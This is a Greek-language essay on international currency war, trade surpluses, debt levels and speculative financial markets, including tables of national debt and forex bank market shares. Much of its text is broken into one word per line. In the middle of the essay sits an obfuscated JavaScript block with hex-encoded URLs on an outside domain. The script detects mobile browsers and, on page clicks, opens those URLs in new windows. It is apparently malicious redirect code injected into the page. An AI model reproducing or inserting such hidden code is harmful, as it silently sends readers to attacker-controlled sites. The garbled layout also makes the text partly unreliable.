□□□□□□□□Ο ΝΟΜΙΣΜΑΤΙΚΟΣ ΠΟΛΕΜΟΣ ΚΑΙ Η ΓΕΡΜΑΝΙΚΗ ΠΡΟΟΠΤΙΚΗ

Όταν ο Κλαούζεβιτς έλεγε πως ο πόλεμος είναι η συνέχιση της πολιτικής με άλλα μέσα, δεν μπορούσε να διανοηθεί ότι ο πόλεμος των νομισμάτων θα εκτόπιζε το «διάλογο» των όπλων. Ούτε μπορούσε να φανταστεί ότι η πολιτική θα ταυτιζόταν με τον διεθνή οικονομικό ανταγωνισμό, χάνοντας το παραδοσιακό της περιεχόμενο. Κι όμως η διεθνής πραγματικότητα διαμορφώνεται κάτω από τις απαιτήσεις που θέτει η οικονομική υπερεπέκταση και η διακυβέρνηση οικονομικών ζητημάτων. Η εξέλιξη αυτή δεν ήταν στοιχείο των προβλέψεων ούτε του Φουκογιάμα (φιλελεύθερη δημοκρατική ειρήνευση), ούτε του Χάντιγκτον (σύγκρουση πολιτισμών), ούτε του Μίνσχάϊμερ, (πολυπολική σύγκρουση).

Και πάλι αποδεικνύεται, πως η υλική πραγματικότητα απόκτησης και διανομής του πλούτου είναι η κινητήριος δύναμη της ιστορίας

.
Όσο
πεζή
και
αν
είναι
αυτή
η
αλήθεια
είναι
η
μόνη
ρεαλιστική
.

Τα πέντε διεθνή νομίσματα (δολάριο, ευρώ, στερλίνα, γιεν και γουάν) βρίσκονται διαρκώς,

από
δεκαετίας
,
σε
σχέσεις
ανηλεούς
ανταγωνισμού
.
Εκφράζοντας
τις
εθνικές
τους
οικονομίες
,
προσπαθούν
ταυτόχρονα
να
προασπίσουν
και
να
προωθήσουν
τα
ζωτικά
συμφέροντα
των
χωρών
τους

.
Αφού
ένας
κλασικός
πόλεμος
μεταξύ
των
μειζόνων
δυνάμεων
δεν
είναι
πλέον
αποτελεσματικά
εφικτός
για
καμία
,
λόγω
της
αποτρεπτικής
ισχύος
της
άλλης
,
η
διασφάλιση
της
κυριαρχίας
επιχειρείται
μέσω
της
νέας
μορφής
του
νομισματικού
πολέμου
.
Οι
ζώνες
νομισματικής
κυριαρχίας
έχουν
τη
τάση
να
συρρικνώνονται

και
να
επεκτείνονται
,
λόγω
των
ελεύθερα
κυμαινόμενων
συναλλαγματικών
ισοτιμιών
.
Έτσι
το
πρωτείο
του
δολαρίου
αμφισβητείται
και
η
ισχύς
του
κινεζικού
γουάν
επεκτείνεται
.
Η
εναρκτήρια
δυναμική
του
Ευρώ
υπονομεύεται
και
η
παραδοσιακή
αξιοπιστία
της
στερλίνας
διαβρώνεται
.
Αλλά
στις
καθημερινές
μάχες
των
νομισμάτων
δεν

υπάρχει
μόνιμη
ισορροπία
νικητή
και
ηττημένου
.
Οι
σημερινές
θέσεις
μπορεί
να
μεταβληθούν
αύριο
,
αποδεικνύοντας
την
τεράστια
αβεβαιότητα
,
αστάθεια
και
μεταβλητότητα
που
υπάρχουν
στις
ίδιες
τις
δομές
τόσο
του
διεθνούς
οικονομικού
συστήματος
όσο
και
των
εθνικών
οικονομιών
που
εκφράζουν
.

Ασφαλώς τα νομίσματα δεν αποτελούν αυθύπαρκτα οικονομικά μεγέθη. Εκφράζουν την δυ

ναμική
των
οικονομικοκοινωνικών
συστημάτων
αλλά
ταυτόχρονα
έχουν
τη
δύναμη
και
να
επιδρούν
επ
’
αυτών
.
Η
παραδοσιακή
ισχύς
της
πολιτικής
σφαίρας
συρρικνώνεται
και
σταδιακά
τίθεται
κάτω
από
τον
πυκνό
ίσκιο
της
οικονομικονομισματικής
υπερεπέκτασης
.
Τα
μεγάλα
πολιτικά
αναστήματα
ηγετών
εξαφανίζονται
σταδιακά
από
τη
σκηνή
και

τη
θέση
τους
καταλαμβάνουν
απρόσωπες
οικονομικές
ενώσεις
συμφερόντων
που
διοικούνται
από
αλληλοαναιρούμενες
και
ασταθείς
εταιρικές
δομές
εξουσίας
.
Η
αστάθεια
και
η
μεταβλητότητα
,
είναι
πλέον
μόνιμα
χαρακτηριστικά
του
διεθνούς
συστήματος
και
όχι
οι
εξαιρέσεις
του
.
Πριν
ακόμα
τελειώσει
η
παρούσα
κρίση
,
οι
περισσότεροι

στοιχηματίζουν
ότι
η
αμέσως
επόμενη
,
θα
συνίσταται
από
μια
νέα
φούσκα
στη
διεθνή
αγορά
ομολόγων
ή
στην
αγορά
ακινήτων
της
Κίνας
.

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else

_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|awa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg(g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-|)|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const

_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Το ερώτημα που εγείρεται ξανά και ξανά είναι το ακόλουθο: τι είναι αυτό που άλλαξε τόσο δραστικά τις τελευταίες δύο δεκαετίες ώστε, πρώτον να επιφέρει την αποδυνάμωση

της
πολιτικής
διεθνώς
και
δεύτερον
την
κρισιογόνο
ενδυνάμωση
των
χρηματοοικονομικών
αγορών
.
Αν
μελετήσει
κανείς
τις
γεωπολιτικές
και
γεωοικονομικές
μεταβολές
της
τελευταίας
εικοσαετίας
είναι
μάλλον
εύκολο
να
ανεύρει
τις
απαντήσεις
:
Η
κατάρρευση
της
πρώην
Σοβιετικής
Ένωσης
απελευθέρωσε
μια
τεράστια
μάζα
γεωπολιτικής
και
οικονομικής
σπουδαιότητας
την

οποία
έσπευσαν
ακαριαία
να
εκμεταλλευθούν
οι
δυτικοί
πολυεθνικοί
όμιλοι
κάθε
μορφής
και
κάθε
κατηγορίας
.
Τα
κέρδη
ήταν
ανυπολόγιστα
.
Ιδιαίτερα
στα
ενεργειακά
αποθέματα
,
στον
μηχανολογικό
εξοπλισμό
,
στα
προϊόντα
τεχνολογίας
,
πληροφορικής
και
τηλεπικοινωνιών
.
Οι
μεταρρυθμιστικές
πολιτικές
απελευθέρωσης
της
οικονομίας
της
Ινδίας
,

από την αρχή της δεκαετίας του ’90, δημιούργησαν τις ίδιες προϋποθέσεις συσσώρευσης, προσφέροντας χαμηλό κόστος εργασίας ειδικευμένου εργατικού δυναμικού. Γενικότερα οι οικονομίες του Ειρηνικού, μέσω πολιτικών απορρύθμισης και νομισματικών διευκολύνσεων κατάφεραν να εφαρμόσουν πολιτική «**προσελκυστικότητας**» η οποία δεν άφησε αδιάφορες,

όπως
ήταν
φυσικό
,
τις
δυτικές
μεγάλες
και
μικρές
πολυεθνικές
,
οι
οποίες
έσπευσαν
να
επενδύσουν
.
Μεγάλες
εταιρίες
που
ειδικεύονται
σε
κλάδους
εντάσεως
εργασίας
και
ώριμης
τεχνολογίας
,
όπως
τα
κλωστοϋφαντουργικά
,
το
έτοιμο
ένδυμα
,
τα
υποδήματα
,
το
ηλεκτρολογικό
υλικό
,
ο
εξοπλισμός

οχημάτων
,
κλπ
, «
μετανάστευσαν
»
στις
απελευθερωμένες
και
απορρυθμισμένες
αγορές
της
Ασίας
και
της
Άπω
Ανατολής
.
Μέσω
αυτών
των
διαδικασιών
κινητικότητας
των
παραγωγικών
συντελεστών
,
γράφει
ο
Π
.
Κρούγκμαν
,
οι
τοπικές
οικονομίες
επωφεληθήκαν
μερικώς
αλλά
αρκούντως
,
για
να
αντιμετωπίσουν
την
χρόνια

φτώχεια
και
πενία
τους
.
Ακόμα
και
η
Κίνα
,
με
το
καθεστώς
της
«
κομμουνιστικής
ολιγαρχίας
»
που
καλλιεργεί
,
προσέτρεξε
να
προσφέρει
όλα
σχεδόν
τα
προαπαιτούμενα
για
την
εφαρμογή
της
πολιτικής
της
προσελκυστικότητας
ξένου
κεφαλαίου
.
Το
αντιμαοϊκό
δόγμα
του
Τενκ
Σιαο
Πίνγκ
,

«
ο
πλούτος
είναι
δόξα
»,
αρχίζει
να
αποδίδει
καρπούς
.
Με
κομματική
δεσποτεία
επιτυγχάνει
ένα
πρωτόγνωρο
κοινωνικό
και
εργασιακό
ντάμπινγκ
(
η
δράση
των
συνδικάτων
είναι
απαγορευμένη
)
με
το
οποίο
φουσκώνει
επικίνδυνα
τα
εμπορικά
της
πλεονάσματα
και
με
τεχνητή
υποτίμηση
του
γουάν
,
διογκώνει

τα
συναλλαγματικά
της
αποθέματα
.
Το
εμπορικό
της
πλεόνασμα
αγγίζει
το
ένα
δέκατο
του
ΑΕΠ
και
τα
συναλλαγματικά
της
αποθέματα
τα
2,6
τρις
δολάρια
.
Το
ερώτημα
όμως
που
τίθεται
είναι
πόσο
απ
’
αυτό
το
πλεόνασμα
παραμένει
στη
χώρα
και
πόσο
οδηγείται
στη
βελτίωση
της

αγοραστικής
δύναμης
των
Κινέζων
;
Ελάχιστο
,
είναι
η
απάντηση
,
γιατί
το
μεγαλύτερο
μέρος
της
ανάπτυξης
έχει
εξωγενή
χαρακτηριστικά
,
με
εταιρίες
κυρίως
Κινέζων
της
διασποράς
,
της
κομματικής
ολιγαρχίας
και
των
δυτικών
ομίλων
,
που
συγκέντρωσαν
τις
επενδύσεις
τους
στη
νοτιοανατολική
ακτή
δημιουργώντας
τεράστια

προβλήματα
εισοδηματικών
ανισοτήτων
και
οικολογικών
απειλών
.

Αυτές είναι οι βασικές αιτίες που οδήγησαν το διεθνές οικονομικό σύστημα στη παρούσα φάση
της
υπέρ
ρευστότητας
.
Κατά
ένα
μέρος
,
οι
εξελίξεις
αυτές
,
στηρίζονται
σε
νόμους
ιστορικής
αιτιότητας
και
κατά
ένα
άλλο
,
σε
πολιτικές
επιλογές
.

Τώρα όμως έρχεται στο φως, η σημαντικότερη αντινομία του διεθνούς οικονομικού συστήμ ατος .
Η
δημιουργηθείσα
ρευστότητα

ή
υπέρ
παραγωγή
,
θα
πρέπει
να
απορροφηθεί
.
Το
υπάρχον
επίπεδο
της
παγκόσμιας
κατανάλωσης
ωστόσο
δεν
είναι
ικανό
για
κάτι
ανάλογο
,
είναι
πολύ
χαμηλότερο
.
Συνεπώς
θα
πρέπει
να
δημιουργηθεί
πρόσθετη
κατανάλωση
, (
όχι
όμως
στις
χώρες
υπέρ
παραγωγής
),
με
εφαρμογή
χαλαρών
νομισματικών

και
δημοσιονομικών
πολιτικών
αδιαφορώντας
για
τα
ελλείμματα
που
θα
προέκυπταν
αφού
αυτά
μπορούσαν
να
καλυφθούν
από
τις
εισροές
μεγάλων
ποσοτήτων
κεφαλαίων
,
προερχόμενων
από
τις
πλεονασματικές
χώρες
,
έως
τουλάχιστον
ένα
ικανοποιητικό
βαθμό
.
Έτσι
εμφανίστηκαν
πλεονάσματα
στους
λογαριασμούς
κεφαλαίων
των
ΗΠΑ
,
του
Η
.

Β
.
και
άλλων
ευρωπαϊκών
χωρών
αλλά
ελλείμματα
στα
ισοζύγια
των
τρεχουσών
συναλλαγών
τους
.
Παράλληλα
οι
συναλλαγματικές
ισοτιμίες
των
ελλειμματικών
χωρών
ήταν
μεγαλύτερης
αξίας
από
εκείνες
των
χωρών
που
παρήγαγαν
υπέρ
ρευστότητα
.
Οι
κυριότερες
από
τις
χώρες
που
παρήγαγαν
και
παράγουν
πλεονάζουσα
προσφορά
,

είναι η Κίνα, η Γερμανία, και η Ιαπωνία. Διατηρούν υποτιμημένα νομίσματα και χαμηλό πληθωρισμό επιτυγχάνοντας υψηλή ανταγωνιστικότητα.

Όπως είναι γνωστό η πρόσθετη κατανάλωση στις ελλειμματικές χώρες, δεν παράχθηκε από την αύξηση των διεθνώς εμπορεύσιμων αγαθών τους αλλά από τον δανεισμό και την βελτίωση των πραγματικών αμοιβών. Όσο όμως

και
αν
αυξήθηκε
η
δανειακή
κατανάλωση
των
νοικοκυριών
και
των
επιχειρήσεων
δεν
κατάφερε
να
απορροφήσει
την
πλεονάζουσα
ρευστότητα
επικερδώς
.
Έτσι
δημιουργήθηκαν
και
ενισχύθηκαν
διεθνείς
υπέρ
αγορές
χρηματοοικονομικών
προϊόντων
όλων
των
μορφών
και
μάλιστα
με
υψηλή
μόχλευση
,
οι
οποίες
έθεσαν
το
σύστημα
εκτός
τροχιάς
.

Το
ύψος
των
κεφαλαίων
που
διακινούνται
στις
αγορές
συναλλάγματος
,
ομολόγων
,
παραγώγων
,
μετοχών
,
ασφαλίστρων
κινδύνου
,
κλπ
,
είναι
ασύγκριτα
μεγαλύτερο
από
εκείνο
που
δανείστηκαν
τα
νοικοκυριά
ή
ακόμα
και
τα
κράτη
,
ή
από
την
αξία
του
διεθνούς
εμπορίου
και
των
επενδύσεων

.
Για
παράδειγμα
θα
αναφέρω
δύο
αριθμούς
οι
οποίοι
μπορούν
να
βοηθήσουν
στη
σωστή
κατανόηση
της
σημερινής
πραγματικότητας
.
Η
αξία
του
παγκόσμιου
εμπορίου
το
2009
έφθασε
τα
11,4
τρις
δολάρια
.
Η
αξία
όμως
των
μέσων
ημερήσιων
συναλλαγώ ν
στην
αγορά
συναλλάγματος
φθάνει
τα
3,98
τρις

δολάρια
αυξημένη
κατά
20%
από
το
2007
που
ήταν
$3,2
τρις
.
Σε
ετήσια
βάση
αγγίζει
το
ένα
τετράκις
δολάρια
.
Και
ο
όγκος
αυτός
των
συναλλαγών
καταγράφεται
μόνο
στην
μοχλευμένη
αγορά
συναλλάγματος
.
Αν
προστεθούν
και
οι
άλλες
αγορές
των
άϋλων
τίτλων
τότε
τα
πράγματα

ξεφεύγουν από κάθε φαντασία. Θα πρέπει να σημειώσω πως το παγκόσμιο ΑΕΠ αναμένεται να φθάσει το 2010 τα 65 τρις δολάρια. Σε μονάδες αγοραστικής δύναμης είναι λίγο μεγαλύτερο. Από την άλλη, το παγκόσμιο χρέος θα φθάσει τα 58 τρις δολάρια. Πρόσφατα

,
ο
Economist
,
δημοσίευσε
τη
κατάσταση
χρέους
των
περισσότερων
χωρών
.
Τα
αριθμητικά
στοιχεία
για
άλλη
μια
φορά
επιβεβαιώνουν
τη
θεωρία
.
Οι
περισσότερο
δανεισμένες
χώρες
δεν
είναι
οι
φτωχές
αλλά
οι
πλούσιες
.
Απλούστατα
αυτές
είναι
σε
θέση
να
ανταπεξέλθουν
των
υποχρεώσεων
που
προκύπτουν

από
την
αποπληρωμή
του
χρέους
.

Χώ ρες	**(**	**ενδεικτικά**	**)**

Κατά	**κεφαλή**	**χρέος**	**, $**

Χρέος	**ως**	**προς**	**ΑΕΠ**	**, %**

ΗΠΑ

30,114

63,1

ΚΑΝΑΔΑΣ

37,697

82,3

ΑΥΣΤΡΙΑ

30,697

72,1

ΙΑΠΩΝΙΑ

84,998

197,0

ΓΑΛΛΙΑ

31,287

83,4

ΕΛΛΑΔΑ

33,285

130,4

ΙΤΑΛΙΑ

36,808

118,7

ΒΕΛΓΙΟ

39,280

100,5

ΓΕΡΜΑΝΙΑ

27,161

76,1

Πηγή: Economist

Το μέσο παγκόσμιο χρέος προς το παγκόσμιο ΑΕΠ θα αγγίξει το 90% το 2010. Τα στοιχεία αυτά είναι επαρκή για να αποδείξουν πόσο επικίνδυνη έχει καταστεί η παγκόσμια διάρθρωση της οικονομίας. Γιατί πάνω σε μια πραγματική οικονομική βάση 65 τρις δολαρίων έχει οικοδομηθεί σαθρά, ένα οίκημα με «άγνωστο» (n) αριθμό ορόφων,

σε
σχήμα
αναστραμμένης
πυραμίδας
.
Είναι
φυσικό
,
τρόπον
τινά
,
η
μία
φούσκα
να
διαδέχεται
την
άλλη
και
η
νέα
κρίση
την
προηγούμενη
.

Οι πλεονασματικές χώρες (Γερμανία, Κίνα, Ιαπωνία, κλπ) δεν θέλουν ή δεν μπορούν να απ
ορροφήσουν
την
πλεονάζουσα
προσφορά
αγαθών
και
υπηρεσιών
που
παράγουν
.
Κάτι
τέτοιο
θα
σήμαινε
αύξηση
της
εγχώριας

αγοραστικής δύναμης και μείωση της ανταγωνιστικότητας. Η απορρόφηση προέρχεται από τις ελλειμματικές χώρες (ΗΠΑ, Ε. Ένωση, κλπ) οι οποίες όμως είναι αποδέκτες κεφαλαίων από τις πρώτες και γι' αυτό εμφανίζουν πλεονάσματα στη κίνηση των λογαριασμών κεφαλαίου. Για παράδειγμα

η
Κίνα
έχει
επενδύσει
897
δις
δολάρια
σε
ομόλογα
του
κρατικού
δημοσίου
των
ΗΠΑ
,
ενώ
τα
συναλλαγματικά
της
αποθέματα
το
2010
θα
φθάσουν
τα
$2,6
τρις
.
Ταυτόχρονα
επενδύει
και
στις
αναδυόμενες
αγορές
με
κεφάλαια
ύψους
$261
δις
.
Συνολικά
τα
αποθέματα
των
πλεονασματικών
χωρών

θα
ξεπεράσουν
τα
$5
τρις
.
Τα
ποσά
αυτά
είναι
πρωτόγνωρα
στην
ιστορία
των
δημοσίων
οικονομικών
ενώ
ταυτόχρονα
δημιουργούν
τεράστια
προβλήματα
.
Πρώτα
απ
’
όλα
η
απρόσκοπτη
ελευθερία
στη
κίνηση
τους
γιγαντώνει
τις
διεθνείς
αγορές
κεφαλαίου
.
Οι
θεσμικοί
οργανισμοί
κεφαλαίου
διατηρούν
στη
κατοχή
τους

χαρτοφυλάκια
πολύ
μεγαλύτερα
από
το
Εθνικό
Εισόδημα
πολλών
κρατών
.
Δεύτερον
η
απόλυτη
ελευθερία
στις
βραχυχρόνιες
κινήσεις
τους
αποσταθεροποιεί
τις
εθνικές
αγορές
και
αποδυναμώνει
την
εφαρμογή
μακροοικονομικών
πολιτικών
των
κυβερνήσεων
.
Τρίτον
,
συμβάλλουν
στην
εμφάνιση
μεγάλων
διακυμάνσεων
των
συναλλαγματικών
ισοτιμιών
των
βασικών
νομισμάτων
με
τρομακτικές

συνέπειες στο τομέα των άμεσων επενδύσεων. Τέταρτον, η ικανότητα αγοράς κρατικών ομολόγων, δηλαδή χρέους, των ελλειμματικών χωρών, αυξάνει τη προσφορά χρήματος σ' αυτές πολύ πάνω από το επίπεδο ισορροπίας. Πέμπτον, τα υψηλά συναλλαγματικά αποθέματα αφ' ενός και

το
εργασιακό
ντάμπινγκ
αφ
'
εταίρου
,
συνεργούν
έτσι
ώστε
να
κρατείται
σε
χαμηλά
επίπεδα
η
ισοτιμία
των
νομισμάτων
τους
.
Αυτό
με
τη
σειρά
του
μεγαλώνει
και
πάλι
τα
εμπορικά
πλεονάσματα
.
Έκτον
,
τα
γιγαντιαία
ποσά
κεφαλαίου
που
διακινούνται
στις
διεθνείς
αγορές
,
δημιουργούν

διεθνικούς
ομίλους
κεφαλαίων
,
η
ισχύς
των
οποίων
είναι
πολύ
μεγαλύτερη
από
εκείνη
των
εθνικών
κρατών
.
Το
70 -90%
των
πράξεων
αυτών
των
ομίλων
είναι
κερδοσκοπικές
.
Ο
πίνακας
που
ακολουθεί
δείχνει
τους
δέκα
μεγαλύτερους
απ
'
αυτούς
ως
προς
τα
μερίδια
αγοράς
.

Όνομα	**Ιδρύματος**

Μερίδιο	**αγοράς**	**, %**

Deutsche Bank

18.6

Ubs

11.3

Barclays capital

11.08

Citi

7.69

Royal Bank of	Scotland

6.50

JB Morgan

6.35

HSBC

4.55

Credit Suisse

4.44

Goldman Sachs

4.28

Morgan Stanley

2.94

Πηγή: Τράπεζα Διεθνών Διακανονισμών.

Τέλος, η αγορά του χρέους των ελλειμματικών χωρών από τις πλεονασματικές, ωφελεί στην απορρόφηση της πλεονάζουσας προσφοράς τους αλλά δημιουργεί στις πρώτες **πολιτικό εφησυχασμό και ανισορροπία στα δημοσιονομικά τους μεγέθη**.

